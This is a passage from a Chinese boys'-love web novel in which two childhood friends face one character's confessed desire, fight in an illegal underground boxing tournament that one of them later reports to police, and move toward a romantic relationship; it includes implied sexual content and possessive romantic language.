“后面还有第四张,第五张呢,他们才刚刚开始,后面该怎么做,哥哥应该不知道,不过没关系。” 方闻钟觉得萧疏很陌生,他明明很平静,可方闻钟就是感觉到了风雨欲来的疯狂,他在压抑着克制着。 又好像迫不及待把一切丑陋,撕开给他看。 方闻钟厉喝:“你在本子上画那种东西!就不嫌,不嫌……不嫌恶心吗?被人发现怎么办?”他担心地看着萧疏。 “恶心?”萧疏先是虚弱地问了一句,然后断断续续笑了,最后越笑越猖狂。 只有他停止笑,才能发现他有多生气。 “恶心就他妈的少招惹我!少说陪我一辈子!少说给我做饭给我挣钱!” “方闻钟,没有你的前四年我也能过得很好!我也活得下去!” “你去过你的日子不好吗?拿着钱,照顾着疼爱你的姥姥,离开我这个丧门星!离开我这个一直给你带来麻烦的人!” “被我害进监狱还不够吗?是不是把命丢了,才觉得不欠我!” “我他妈不要你欠我什么,是我欠你的!我欠你,还欺负你……”萧疏说到最后,突然哭了。 “我也不想,可是方闻钟,我忍不住。” “我不是好人,不是柳下惠,也不是神仙。” 看到萧疏哭了,方闻钟哪怕有天大的疑惑,天大的不舒服,不自在,全被他先抛掉脑后,他想都没想,上前抱住萧疏,边拍他背边安慰他,“萧疏,你在忍什么?” “不需要忍,你想要什么,想做什么你说啊,我帮你。” 方闻钟至今还没懂。 萧疏制止他帮他擦眼泪的手,“不需要忍?呵,方闻钟,不需要忍,你就会像一个女人那样,被我像画中那样欺负,你还要帮我吗?” 他尽可能说得不好听,哪怕他心里从来不是这么想的。 他只不过是把这种感情,刨开到最肤浅的身体关系,以方闻钟能懂的解释,直白又突兀地说给他听。 方闻钟终于有反应了,那些话像一记重锤一样,砸得他脑子懵懵的,心沉沉的。 第一反应不是恶心,不是抗拒,而是为什么?什么意思? 方闻钟好像懂了,可一切又那么模糊。 “你把我,当女人?” 他白了脸,半天问出这样一句。 萧疏头碰上他,手从后面抚摸着他的后脖颈,好久,“傻瓜,”他轻声说。 他才不愿意那样“欺负”他。 “你就当我今晚不正常,脑子突然发疯了吧,”萧疏离开方闻钟,“别多想,哥哥,我是希望你好的。” “希望你开心,希望你过得幸福。” “无论是离开我也好,在我身边也好。” “回去吧,太晚了。” 方闻钟第一次,把背影留给了萧疏。 第39章 打黑拳 方闻钟再次从梦里惊醒过来。 他的梦比上次更过分了。 第一天晚上,他梦到了高三那晚,那晚萧疏的神情他已经忘了,应该是不太高兴的,也对,刚打完架脸上还疼呢,肯定不高兴。 他很缠着萧疏,那本书压在萧疏被子底下,他抽出来萧疏不让他看,他还举起来不让萧疏够到,非要犯贱招惹萧疏,才看了几眼,就被萧疏生气放倒了。 钢笔戳进去的滋味很难受 ,比身体疼痛更难受的是心底里的怪异。 可是萧疏不说,他不懂。 他咧着嘴,尽量忽略那点疼,赶紧提上裤子,就和萧疏告别。 身后是萧疏像鬼魅一样注视着他逃跑。 今天晚上,他的梦根据萧疏的画发展,从那天卫生间里两人互帮互助接上,然后他们赤裸着,躺在一起,交叠着,再然后,梦里除了朦胧,再也没有更清晰的画面,方闻钟所有能想像到的,就是萧疏的手,换成钢笔。 其他他再大汗直流,焦急无奈,还是不知道怎么做。 起来发现前面硬得有点疼,方闻钟下床腿都打哆嗦了,萧疏把他当女人,当女人是不是意味着那个部位,除了插进去手,还可能是别的东西…… 方闻钟一下摔跪在地上!膝盖跪在一半鞋上,他痛得立马捂住腿,同时,眼眶慢慢泛红。 有点湿润。 “姥,早饭我放桌子上了,我去书店了。” 店里同学们很多,三三两两,方闻钟在自己没意识到的时候,就开始观察那些在一起的男生们。 他们很正常。 就算是亲密打闹,也不会让方闻钟产生奇怪的联想。 “老板,付钱。” “哦哦。” 零钱递过去,所以他和萧疏是怎么了? 萧疏对他,肯定和他对萧疏的感觉不一样,方闻钟突然无比确定,在萧疏哭着推开他,说‘我欠你的,不是你欠我,我还想欺负你’时,方闻钟更深信无疑。 可是那样他会心疼他,才没有恶心,方闻钟看到所有画,第一个重点是画在本子上,随便被人看到不好,第二个重点才是为什么?萧疏在干什么? 他后知后觉,脸颊肌肉绷的紧紧的,四年前,萧疏就看那种书,他脑海里想的,也是他吗? 还是他单纯就是和普通人不一样,他只不过撞上去了。 四年后,萧疏唯一能“欺负”的人,也只有他方闻钟。 这个问题很重要,在方闻钟还不知道同性恋的时候,他就在考虑,萧疏是因为是同,才针对他,还是因为他,才产生这些想法? 想不明白好像会让他扎着一根刺,可无法向萧疏求助问他时,注定想不明白。 方闻钟没有主动联系萧疏,萧疏就和他默契地冷战了。 他再也没来过。 一个人吃饭时,一个人收拾书架时,方闻钟想,他和萧疏,还会是最好的兄弟吗?突然觉得横在自己面前的是一片迷雾,迷雾之下,可能是平坦的地面,也可能是很宽的越不过去的深渊。 萧疏在忍什么,方闻钟还没完完全全弄明白。 但他知道他在怕什么,怕就这样和萧疏莫名其妙越来越淡。 怕他被萧疏推离他的生活,怕他不再是萧疏那里的唯一。 方闻钟纠结良久,叫萧疏过来,可电话里萧疏说,最近在忙项目,接下来要参加一个比赛,没时间…… 转眼间又是半周过去,方闻钟突然听到一个小道消息,萧疏好像没去参加那个比赛,他放弃了,因为比赛要出国,可能要花费好几万块钱。 方闻钟立马打听,比赛到底什么时候啊,萧疏还能赶得上吗? 碰巧遇到打篮球的舍友,舍友说:“好像下个月才开始吧,不过萧疏不是说他不去了吗?忙着写论文呢,他呀,学习上没有放松过。” “比赛费用全自理,好像要八万多。” 方闻钟数着攒下来的钱,他咬牙考虑要不要先动用姥姥的或监狱里认识的大哥的钱,手边放着一沓学生塞过来的传单,他往旁边推了一下。 然后就抽出一张黑红色的传单。 方闻钟仔仔细细看了那张传单好久,那是一个地下拳赛的宣传,可能不是学生们塞过来的,比赛主办方也不严谨合规,但看着很热血,很热闹! 最关键时,比赛赢了第一名有二十万现金奖励! 最差第三名也有六万。 方闻钟心动了,他捏着宣传单,慢慢打出去一个号码…… 周末晚上,他告别姥,说出去逛一圈,别等他,他回来就迟了。 方闻钟穿上一身黑色的运动外套,揣着兜一步步往目的地走去。 拳场在一个还没开发完的商场地下二层。 一进来听到震耳欲聋的欢呼和尖叫,方闻钟就有点不适地摸了摸耳朵,整个场地有两三百平大,中间一个大大的高一点的用绳子围起来的场地,顺着场地四边台阶下来,是一台一台能坐着观看的看台。 墙面都弄了隔音设备,顶上的灯又刺眼又明亮。 可观众席上该暗的地方又很暗。 接待的人一把把他拉过去,“这边,说好了啊,打伤打残自己负责,你报名的时机巧,这都打到后半程了,今晚的对手是体院的一个大三学生,一看你这体格就比较强,”他拍拍方闻钟的后背。 方闻钟往前趔趄了一下。 “来,签字。” 方闻钟确认了一下奖金金额,就在纸上签字画押,那就是一份无责任书,主办方不负责他们的伤残事故,一切后果参赛者自理。 “喏,准备准备上场吧。” 方闻钟很快在欢呼声中出来!他听不到下面稀稀拉拉的人在说‘这谁啊,之前没来过’,‘看着挺厉害’…… 他只能沉默地注视着自己的对手! 对手缠着绷带,个子和他差不多,比他瘦点,但一看那肌肉,打拳的姿势和步法,就知道他是专业的,方闻钟只能算野路子。 他深吸了一口气,恰时,对手吐了一口口水,“来!”一声厉喝,全场肾上腺素飙升! 萧疏在急匆匆赶来的路上。 方闻钟的比赛已经开始。 刚开始,他就被对手像耍猴一样,躲过好多伤害,后来,对手摸清了他的底细,很快就给他心口几拳。 方闻钟忍住咳嗽,才刚开始,他当然不会放弃。 他还能坚持好久,好久。 砰! 一拳打在脸上,方闻钟整个人摔倒过去,他的脸颊在抖动,嘴里连水带血一大口吐到场地上,额前的头发全湿透了,跌坐在地上呵呵的直喘气…… 下一秒,他翻身起来把大意的对手也撞翻了,纯靠蛮力,把他压在身下,动弹不得! 肌肉贲张的胳膊抵在那人胸前,一拳,一拳,拳拳到肉,把人打得头脸左右摇摆,血肉模糊。 肚子上挨了一脚。 那人灵活地脱离他的桎梏,直接把他一脚踢开。 这场比赛竟然是打得最好看的! 有技术有实力的人下死手,野路子方闻钟不认输,硬要拚个赢,他们的焦灼、认真,伴随着台下疯了似的一声声此起彼伏的尖叫,好像要把场地掀翻! 咚! 方闻钟后背被一胳膊肘,差点直接砸在地上。 但他死死抱着别人的腰,抱着他的腿,然后拼尽全力,脸色又红又涨,脖子里血管爆裂,直直推着人往后倒,然后在接近场地边缘的下一秒,他把人抬起来,最终扔在台下! “赢了!赢了!” 方闻钟一身伤痕,脸颊肿得那么高,前胸后背,大腿小腿,要人扶着才能站稳时,他的胳膊被主办方的人举起来一只,“16号获胜!” 地上的体校生,也有人帮忙扶起来,问还行吗,要不要去诊所…… 他们搀扶着往外走了,走入黑暗中。 然后黑暗中渐渐走出来一个熟悉的身影。 方闻钟在明亮的灯光下眨着眼,汗渍淹入眼睛,他有点看不清,来人是谁。 直到来人走上台阶,马上走到台上。 他们面对面。 是萧疏。 “你也要挑战吗?报名不?报名你就是17号了,不过今晚你不能再和16号打,我看看,13号上场赢了,哎兄弟,听到我说话没?我们这比赛很正规的,赢了直接给你二十万!” 萧疏终于给旁边人一个眼神。 二十万,二十万就够你不要命了吗,方闻钟。 嘴巴嘚吧嘚吧不停的人,被萧疏一挥手,直接推到台下去了。 方闻钟渐渐收起自己的四肢,刚才有多舒展,有多赢了后的轻松和开心,耀武扬威,现在就有多感觉到害怕,恐惧。 谁料,萧疏过来,只是站到他面前,“能走吗?” “能。” “不能走我背你。” 方闻钟:“……” 萧疏转过身,弯着腰,后背对着方闻钟,方闻钟一点点爬上去,直到被人往上颠了一下,他的腿被萧疏抱住。 手立马弄脏了萧疏的衣领。 萧疏说:“方闻钟,抱好,别逼我在这里把你扔下去。” 第40章 喜欢你,喜欢爱人的喜欢 那张黑红色传单落到萧疏手里,萧疏起初没在意,后看到宣传内容,眼底晦暗不清。 他联系方闻钟,方闻钟不接电话,然后他跑去他们租的房子。 不想打扰姥,他翻墙进去,果然,方闻钟也不在。 萧疏立马下去打车,往地下拳场方向赶,然后就看到了来不及庆祝胜利的方闻钟。 他一边眼睛肿着,脸上嘴角又是淤青又是血痕,他打断了他的胜利,萧疏的手都快被自己捏破了,他得多控制才能不对他生气,先把人接出来。 方闻钟趴在他背上,刚开始不敢趴实,想靠自己的力量撑着一点,他本来就重,现在还不干净,不想让小梳子遭这罪。 萧疏好像知道他在想什么,说:“趴好。” 他们没打车,然后一直沉默地走着,看着也不像回家的路,方闻钟不知道要去哪里,深夜街道上很安静,偶尔过去一辆车,车灯照亮他们的身影。 走到一颗树下时,方闻钟终于抬头,跟萧疏说话,他猜到他生气了,“萧疏,我没事。” “没事就睡一觉吧,头靠上来。” 萧疏说着关心的话,语气还是很冷淡。 方闻钟全身疼痛,萧疏这样说,他忽然感觉肌肉四肢都松懈下来,像一个布偶人一样耷拉在萧疏背上。 他放松了身体。 一个小时后,医院里。 医生皱着眉,快速又细致地给方闻钟处理伤,看到脸上手上医生就不高兴了,教育他们多大人了,还打架,不分轻重。 萧疏抱着手臂,靠在墙壁上视线压下来,盯着方闻钟,方闻钟只好听训。 医生只以为是普通打架。 等看到方闻钟后背前胸,还有腿上的大面积淤伤时,他察觉不对劲,“你们这是要往死里打啊,有些地方不能乱来的知道不!” 医生严厉的口吻只吓住了方闻钟,萧疏倒是嘲笑了一声,“总有不要命的,上赶着找死!” 医生冷硬地瞥他一眼,“作为朋友你不知道劝着点儿?光说风凉话?” “不是,医生,”方闻钟都想替萧疏解释了,萧疏又不在他身边。 萧疏却见方闻钟已经被处理好,直接拉起他,强硬地拽着他胳膊往外走。 交钱,拿药,走人。 后面医生还在交代,要有很多注意事项…… 方闻钟偏过脑袋记,萧疏怼他,“又死不了,记什么。” 方闻钟眯着肿起来的眼,用包成馒头的手蹭了蹭发痒的鼻子,小梳子发脾气了,他还是不说话好。 晚上萧疏带他住宾馆,方闻钟知道是怕回去让姥发现,担心。 浴室里萧疏在洗澡,他的衣服被他全脱下来,连带着方闻钟的衣服,萧疏死盯着他,让他脱光,方闻钟尴尬极了,萧疏把刚买的两套新衣服拿出来让他们换上,旧衣服沾了血的,直接扔外面垃圾桶。 方闻钟躺在一边床上,萧疏订的是双人间,在等萧疏出来,又有点怕怕的,萧疏出来不会又说他吧? 可是萧疏什么都不说,他也觉得挺难受。 这场拳赛,方闻钟不知道是他遇到的人厉害,还是他们普遍这个水平,如果是后者的话,他托大了,不过只要他胆子大,拿到六万块钱还是可以的。 方闻钟脑子里的想法戛然而止,萧疏发现了,他还能去吗? 那,那钱应该是泡汤了…… 很快,萧疏出来,他只穿着长裤,没穿上衣,方闻钟没忍住偷偷瞥了几眼,然后垂下眸,被萧疏发现是一回事,眼睛疼睁不大是另一回事。 萧疏擦完头发,然后站到他床前,“别装死,起来说话。” 方闻钟乖乖撑着坐起来。 萧疏坐在床边,背对着他,“为什么去打拳?觉得自己天下无敌了?还是纯粹去找不痛快,方闻钟,就你这水平,不被人弄残都是好的!” 他突然恶狠狠地转过来,手指点着方闻钟的肩膀。 “为什么去?” 方闻钟不说。 萧疏也能猜到。 “嘁,就为了二十万,方闻钟,就为了二十万你就把自己的安全置之不顾,你会被打伤打残严重点的,”萧疏说不下去了,眼红红的,“更何况你他妈第一名就不可能拿到!” “最多拿到多少?十二万?还是六万?” “方闻钟,你觉得六万块钱就可以让我出国去参加比赛了吗?” 方闻钟终于抬起头,侧眼看萧疏,他知道啊。 “我不需要带着血的钱,还是带着你的血的钱!”萧疏凑近他,盯着他半开的双眸厉喝道,他脖子里泛起青筋,胳膊上肌肉紧绷,好像去拳场上打拳的是他自己。 “你也太小瞧我了,我放弃比赛,那只能是有更大的利益拖住我的脚步,方闻钟,我还从来没有想做但做不到委屈妥协的时候。” “所以收起你的好心,收起你幼稚的冲动,我不需要。” “六万不用,二十万也不用。” “睡吧,”萧疏骂完他,起身就准备去另一边床,他随手刚把床头灯按灭,方闻钟从后面拉住他的胳膊。 “那你要什么?” 萧疏不太明白地转过头,疑惑。 “你说你从来没有想做但做不到,想要但得不到的时候,”方闻钟前所未有的清晰明朗,“那你之前对我哭,说忍不住,只敢把一切画在画上,只敢对我说狠话,却不敢做什么的时候,你想要的到底是什么?” 方闻钟一直不明白,萧疏是对他有那方面的欲望吗? 他不知道怎么更清楚地表达,但他会因为想起和萧疏的这些事,早上起来都是硬的,萧疏也会硬吗?会对他产生想做什么的想法? “萧疏,我不是女人,你知道,那你到底要干什么?” 随着他说话,方闻钟感觉到房间里的气息有些压抑、冰冷。 他一张脸难看到不行,还是拉着萧疏认真对他说:“我没多大本事,就像你说的,我怕你钱不够,想了这个鬼办法赚钱,可能最后被打疼了也赚不来。” “可这就是我想为你做的。” “萧疏,我没有觉得你欠过我,或我欠你,一切都是我愿意的,很多,我都愿意,”他抬眼,暗示他。 “所以具体一点,告诉我怎么可以让你觉得高兴满足好吗?” “那天说恶心,打了你的脸,抱歉,我不是故意的。” “不恶心,我只是没想清楚。” “萧疏,你画我的裸照,你画我们俩,我们俩那样的样子,”他站起身,尴尬又艰难地脱掉衣服,“这样,可以吗?” “你可以做的,”他认真地看向他,像完全不懂自己境遇的美食,把自己端上饿狼的餐桌,说,你可以,为所欲为。 萧疏的手臂僵硬,很快,他扭了一下,强硬地把自己手抽出来。 “睡吧,”他自己先背对着他睡了。 方闻钟疑惑,歪头,小梳子怎么回事,他不是都表达了他的想法吗?那他到底有什么想干不能干,想要得不到的? “小梳子,你,你四年前就想我了吗?” 他看着他的背影,这样问到,四年前就想和他做一些貌似很不合常理的事? “嗯。”对床传来萧疏悠长的一声。 这句不算谎话的谎话,让方闻钟睡了一个好觉。 方闻钟以为这件事暂时就算完了,可是他养好伤后,大概不到一周,萧疏就又邀请他去那个地下拳赛。 只不过,这次参赛的人,换成了他自己。 方闻钟生气地拉住他,“小梳子,你别胡闹!” 萧疏把他手拽下去,然后上场。 萧疏的出现引来大批观众围观,他们兴奋地下着赌注,一是萧疏很帅!和别人不在一个图层的帅!又高又白!但他又看起来挺瘦,弱不禁风的,能打吗?别上去就是闹笑话的。 萧疏是20号。 如果他这场赢了,他后面还要打5场。 当然,台下的方闻钟无法预料以后,光是这一刻,看到萧疏站在台上,面对一个摔跤的重量级选手,他就担心焦急极了。 萧疏是在报复他来这种地方找罪受吗?所以他也要弄得自己一身伤痕? 可是很快,一切出乎方闻钟预料! 也出乎所有观众和台上的对手的预料! 萧疏灵活又敏捷,对手别说缠住他摔他,连身体一点部位都抓不住!而且,萧疏的拳头打在人身上是真疼啊! 一百八十多斤的人,愣是被他揍得直接离地摔出去几米! 方闻钟目瞪口呆,小梳子,小梳子什么时候这么厉害了? 宣布他胜利时,萧疏甚至没伤到一点,他只是摸了摸拳头的骨节。 全场尖叫! 终于来了一个超级能打,观赏性还极强的人了! 萧疏无论对上专业选手,还是对上纯靠力气一力降十会的,总能以或长或短的时间取胜! 能看出来,他有不亚于专业选手的技巧和素质,又有超乎寻常的力道和拳脚!一双大长腿扫过来直接能把人扫翻摔成脑震荡! 第四场,他又赢了! 第五场,萧疏终于费了些力气,他的脸第一次受伤,被人砸上下颌,之前只是简单的身体挨上几下,问题不大,这次能看出来萧疏也吃痛了,紧接着,他越来越密不透风,越来越恐怖下手不留情。 方闻钟没见过萧疏这个样子,料想中的,他应该会保护小梳子一辈子。 这一刻,他觉得小梳子不把他弄死都是他命大。 萧疏像陷入了不清醒,他红着眼,面对仇人般,哪怕对手已经怯懦了,还是拖着他比赛! 身上,脸上,下巴,最后一位选手受的伤比那天方闻钟受的伤还多的多! 萧疏获胜! 二十万归他! 全场无不癫狂,包括一开始不看好他,后来又靠他引流的主办方。 萧疏手撑在绳子上,从上往下看方闻钟,他控制不住急促喘息,一滴一滴,汗珠掉下来,砸在方闻钟的脸上。 方闻钟心痛死了,小梳子下颌那里被打得好重! 可是他又觉得这样充满野性和力量的小梳子帅死了! 帅得有点不受控制,有点,脱离他的保护圈。 他伸手,想摸他。 萧疏喘气间紧紧握住他的手,“方闻钟,你要的钱我赢来了,心疼吗?” 他简直要诛心,哪是方闻钟要的钱,看他一个人在台上面对那么强悍的对手,他无法预计结果,害怕他受伤,害怕他输,又害怕他赢,赢了之后还要面对更可怕的,直到这一刻。 萧疏问:心疼吗? 怎么会不,所以萧疏的意思是,他站在台上,萧疏也会提心吊胆,也会心疼吗? 他在事必躬亲地亲自示范给他看,看看这是多糟糕的一种行为。 方闻钟偏过头,不让萧疏看到他眼里的脆弱和泪花,萧疏双手垂下来,把他脸抬起来。 上一次,萧疏是说原来的世界里,方闻钟肯定也赢到钱了,不然他怎么负担他们的生活,但是‘萧疏’不想问,也不知道,他赢了多少。 六万,恐怕就是方闻钟的极限。 萧疏忽然叹气,“傻子。” “嗯,”方闻钟失落地垂头,他对小梳子,好像越来越没用了,小梳子自己能赚钱,自己能保护自己,他有朋友,不缺吃穿,那他方闻钟算什么,算过去一个可有可无的标志吗? “我好没用啊,”他轻轻说。 萧疏低下头来,亲上了他的额头,“喜欢两个字真的很难想明白吗?” 不是想做,而是想爱。 “喜欢你,是喜欢爱人的喜欢。”【你现在阅读的是 】 40-50 第41章 他们肆无忌惮地亲吻。 “喜欢?”方闻钟暗哑着重复出这一个词。 从拳场出来,两人换好衣服,沉默地并肩走在黑夜里,方闻钟总是忍不住转过头小幅度地偷看萧疏好几次,萧疏下巴上的伤,在黑夜笼罩下,并不触目惊心,但方闻钟好像能感觉到疼。 比那天他自己受伤还疼。 萧疏倒是看起来没问题,他不太在意。 换好干净的衣服后,好像又恢复了他普普通通学生的模样。 谁能看出来不久前他还在拳场上大杀四方。 方闻钟不知道萧疏怎么会突然打架这么厉害的,但他貌似不想追究这个问题的答案,其实也没那么重要。 偷看萧疏,让他走路不稳,在一个台阶处绊了一下,萧疏手快扶住了他胳膊。 方闻钟起来站好,他们停住不动,半晌,一声流浪狗的狗叫,划破了他们之间的沉默。 方闻钟说:“喜欢?” “萧疏,你喜欢我?” “嗯,”萧疏声音沉沉的,“喜欢,不行吗?” 方闻钟还试图理解,萧疏和他从小一起长大,两人说相依为命也不为过,那萧疏喜欢依赖他也是应该的,可是又想到萧疏补充的一句:喜欢爱人的喜欢。 爱,人。 这个词让他光想想就毛孔收缩,全身颤栗! 这是一个能用在男人身上的词吗? 他和萧疏,都是男的。 萧疏的爱人,这种喜欢,怎么着也轮不到他。 “所以你对我,有身体冲动?”方闻钟抬头,脆弱又懵懂地和萧疏敞开了说。 萧疏先是安静了一会儿,良久,他笑出来。 因为下巴疼痛,他先是笑出声,后又嘶得一下收回去。 “你叫我怎么说呢,方闻钟。” 他们继续并肩往前走,流浪狗在他们身后跟了几步,然后越来越远。 “身体冲动,那只是长久的时间压抑下的结果,方闻钟,我不信你这么大没自己手弄过,只是,我弄自己的时候,可能想的是你,或者,我更想弄你。” 他转过头来,方闻钟只觉被他的话语和目光钉在原地,萧疏很快收敛了一点。 “说不上来是什么时候开始的,方闻钟,高中时候,你和我在一起,却看着你身边其他兄弟们玩时,我会不开心,你离开我,有别的事做,我也会不爽,我就想拉着你跟你学习也好,看你无聊煎熬也好,只要你在我旁边就行。” “当你视线和兴趣落在女生身上时,那是我最讨厌你最厌恶你的时候。” “我想欺负你,想骂你打你,呵,”他自嘲,“现在更变态了些,”萧疏忽然在下面紧紧攥住他的手,“方闻钟,想把你直接绑起来,任谁都接触不了,只当我一个人的笼中宝贝。” 方闻钟手被握紧时,抖了一下,他意识里隐隐知道,萧疏在说对他的占有欲。 可还有什么夹杂着占有欲的其他东西,如覆在藤蔓上的一圈圈利刺,此时,一点点扎进他内心。 那可能,就是萧疏说的喜欢。 他控制着吐出一口气,心跳加快,呼吸节奏都乱了。 萧疏如果说对他有欲望,他们互帮互助,更甚者萧疏想对他做更过分的事,方闻钟都能忍忍,都能自己一个人蜷缩起来慢慢想明白,他会愿意的,心甘情愿。 可是当萧疏表达爱和喜欢时,方闻钟只想捂住胸口,他弓着腰,无措地直喘气。 脖子里青筋一点点起来,他脸色发红又紧绷。 萧疏和他面对面,“吓到了?” 他安抚地摸摸他的后背,“但我不会那么做的,方闻钟。” “对你除了不安分的觊觎,还有愧疚和心疼,”三年入狱,方闻钟替他解决了最大的债务问题,这些都是不争的事实,从此以后,他萧疏一身轻松,直上青云,可方闻钟,留在一个时刻都会困住他的泥潭里。 艰难挣扎。 哪怕他再不在意,再笑着表示无所谓没关系,可过去的经历,注定他和萧疏天差地别。 “你再靠近我,可能会变得很不幸,方闻钟,”萧疏一点点靠在他肩膀处,脖子偏头贴着他的耳朵说,这个不幸的来源的制造者,就是他自己。 方闻钟也侧头,他不懂什么幸与不幸,他只知道,离开萧疏,没有萧疏,他会不快乐。 这是他一直知道的事实,所以在这一刻也驱使着他说:“没事的,萧疏,你看我现在不是过得很好吗?你帮我开了书店,没那么忙,也不用下苦,我一直学习不行,这可能比我原来还要好得多,哪怕不坐牢……小梳子,你不用一直把这件事放在心上,当初也是我莽撞。” “还有心疼,”方闻钟结巴了一下,想说心疼也不用。 可突然想起在狱中一直期待等萧疏来看他的日子,一滴眼泪莫名其妙就从眼角掉下去了。 方闻钟赶紧收住,“也不用那么心疼,也还好吧,小梳子,你,”他刚抬头,被突然低头直面他的萧疏,一下吓收住了声。 “对我温柔宽容,并不会使我收起欺负你的心思,哥哥,你最好想明白点。听我说了那么多,现在想明白了吗?我爱你,喜欢你,想拥有你独占你,这个世界上再也不会出现一个让我动心的女人,这个人从始至终只有你,成为我最在意的人好吗?要么,离开我,带着你姥姥走得越远远好。” “要么,”萧疏的话语缱绻,可还是让方闻钟感觉到了扑面而来的压迫感和侵略性。 “答应我。” 萧疏的气息滚烫,他觉得自己呼出来的气息也烫得羞人,他想后退一下,萧疏的话让他很不安,在短暂的矛盾中,还有他对未来不确定不知道的害怕和恐惧。 可是被那样一双眼里好像只容纳得下他一个人的眼眸注视着,方闻钟长久地感觉到了一种从未有过的悸动和灵魂寄托。 此时此刻,好像面前一个巨大的糖块,它在极尽诉说着:从此以后,方闻钟除了姥姥,还会有另一个家,和家人。 这个家人会爱他,会给他完全不一样的关心和宠爱。 会对他一个人例外,他在他那里永远是特殊的,是被偏爱的。 方闻钟的灵魂好像终于找到一个在这世上的安居处,他本人还摇摇欲坠克制着时,灵魂彷佛已经脱离他身体,一点一点欢快地往萧疏那边飘去。 耳朵里,是萧疏在对他讲,两个男人相爱会怎么做。 他作为一个下位者,可能会经历什么。 他的描述并不会让方闻钟觉得下流,很快,他紧张地不知如何是好,萧疏或许在等他的答案,可他突然失声了一样,什么答案也给不出。 方闻钟捏着裤边,萧疏的脸颊挡住了外面的光,阴影落在他脸上,萧疏的嘴角,一点一点靠近他,亲吻就要落下时。 方闻钟如木头一样一动不动任凭萧疏接下来要亲他时。 他突然被后面跟过来的狗一声狂吠声,吓得顿时离萧疏几步远。 最终,他们嘴唇还是没有碰上。 萧疏已经直起身,看着平白低头缩起来,矮了几分的方闻钟,他愉悦地笑笑:“哥哥,回去睡觉吧,我有点累了。” 方闻钟现在听不得睡觉,听啥都觉得萧疏在隐喻,他抿着嘴唇,走在前面,萧疏把他送到出租屋门口时,方闻钟才转头,敢看一眼萧疏。 萧疏看起来很轻松,脸上的伤丝毫不影响他的帅气,这帅气方闻钟先前看,只会感慨他的好兄弟变化真大,现在看着看着,就想移开视线,他眼睛下移,拘谨地交代道:“以后别打架了,我们都别打了,萧疏,你那么厉害,我,我又不能保护你,你还是像以前一样低调一点好。” “那我要是遇到别人找我麻烦呢?哥哥。” “就像高中一样。” 方闻钟:“你自己不会打回去吗?”他暗暗腹诽,谁能找他麻烦啊。 萧疏收起笑容,“可是我更愿意看你为我着急,为我冲锋陷阵,哥哥,我就在后面为你摇旗呐喊好不好?” 那不是看他笑话耍他吗?方闻钟又羞又急,气得直瞥萧疏,“哼哼,”萧疏笑起来,拳头抵住唇。 忽然上前,把方闻钟身体转过去,让他面对着房门。 他在他后面紧贴着说:“进去吧,我的,爱人。如果不是的话,以后就别来找我了。” 方闻钟快速转身,想跑出去找他时,萧疏步伐又大又快,他的背影匆匆在他眼里消失。 这一天,方闻钟以为他会失眠。 可他却睡了一个四年多来最安稳幸福的一个觉。 听闻地下拳场被人举报了,一周后来书店的同学偶尔都会说起这个话题,他们诧异,兴奋,又信誓旦旦地说举报了好,摧毁了好,这样的场地怎么能随意开在大学城附近。 真有人受伤严重了怎么办? 这种不合规的地方,不就是把人的命不当一回事吗。 方闻钟看到听到警察把那地方全封锁起来,抓了一批人,还有好多有问题的钱,他以为他和萧疏会被叫去问话,殊不知,矛头的导火索就是萧疏。 那二十万他没要。 这种地下拳场的最后归宿,只有铁栏杆,那主办方老板还很不解,萧疏明明是最后赢家,他的二十万唾手可得,为什么反手就把他们全交到警察手里了。 警察倒是夸奖并警告了萧疏,无论如何,再也不能再参加。 “好。” 萧疏从警局出来,方闻钟,也就是16号,掩藏在没人注意的角落,这件事迅速落幕。 方闻钟是想萧疏的,可现在,他有点不敢主动再叫萧疏过来。 他总是发呆。 还被经常逛书店的熟客取笑,“老板,想什么呢心不在焉,是不是最近有桃花运啊!” 这帮男生跟方闻钟关系不错,偶尔来还会给方闻钟带杯奶茶,方闻钟会给他们把书算便宜点,都觉得方哥人仗义,让人亲近,方闻钟不顾他们的取笑,拍他们肩膀笑着说:“我哪有什么桃花运,还是管你们自己吧。” 众人笑着离开。 期间,路小远也回来了一趟。 他吃了不少苦头,来还方闻钟钱时,蔫巴巴的,在方家客厅里吃了一顿方闻钟做的三菜一汤,他眼泪花花要掉不掉,“方哥,以后你就是我亲哥!” 在这个城市里,吃苦了受不住了,还有个地方给他吃一顿好吃的热乎饭,他就知足了。 煽情完毕,突然问方闻钟,“萧疏怎么没来,他对你还好吗?” 路小远问得正常,他就觉得萧疏那个人挺别扭的,说不定会欺负方闻钟,才问这话,方闻钟听在耳里,感觉有点别扭。 兄弟之间,怎么问‘对你还好吗?’…… 不过他立马缰在椅子上,他们貌似,不算清白的兄弟了。 萧疏对他有要求,要么答应他的……喜欢,以一个方闻钟不知道怎么称呼的身份待在他身边,要么离开他。 方闻钟越想越埋怨,萧疏压根没给他选择。 他除了留下来还能怎么办。 很奇怪,在他们彼此等待的日子里,方闻钟冒出来的,绝大多数是对未来的憧憬、想像,以及一些他不愿意承认的开心,极少数才是对关系变化的不愿意,当好兄弟多好啊。 他一直是萧疏的哥哥,萧疏是他会关心一辈子的弟弟。 什么都不能打破。 包括他们自己。 不确定和害怕,蒙蔽了他的双眼,让他误以为,他对萧疏只有妥协,没有平等的喜欢。 直到这天。 方闻钟姥姥一个人在下面逛街时,方闻钟没注意,她走远了,想到姥姥身上带了他的电话号码,方闻钟急切地去找,还抱着希望哪个好心人看到姥姥主动联系他。 姥姥不记事,脑子不太明白,但方闻钟总不能一直把她关在家里。 偶尔会让她出去转一转。 平时一直在他视线范围内,这次他一不留神,姥姥就走不见了。 附近两条街道都找过了,方闻钟焦急地气喘吁吁,忽然看到萧疏他们学校的大门。 门内,萧疏正扶着一个老人,往外走,赫然正是方闻钟姥姥。 姥姥一双手皮肉松弛,干瘦又紧巴巴地拽着萧疏手,她嘴里一直在说:接大孙子放学了,大孙子回家,她给做好吃的…… 萧疏任由她抓着,走出校门,快走到方闻钟跟前。 “萧疏,”萧疏身边的一个女生取下脖子里的灰色羊绒围巾,笑着递给他,“谢谢,麻烦你了。” “没事,”萧疏把围巾收起来,拿在另一边手里。 方闻钟这才注意到,萧疏旁边还有一个笑颜如花,很漂亮的女生,刚把围巾还给萧疏,羞涩地笑着走开了。 方闻钟看到姥不那么着急了,紧接着涌现一股说不清道不明的滋味,她是谁。 他死死盯着萧疏手里的围巾,方闻钟不知道,他的目光绝对称不上友善。 萧疏把姥姥扶过去,交给方闻钟,“我跟学校保安说了,以后可以让姥去校内转转,里面比外面安全。” “嗯,”方闻钟点头。 他们一同回去,对于萧疏跟上他往家里走去的步伐,方闻钟没有二话。 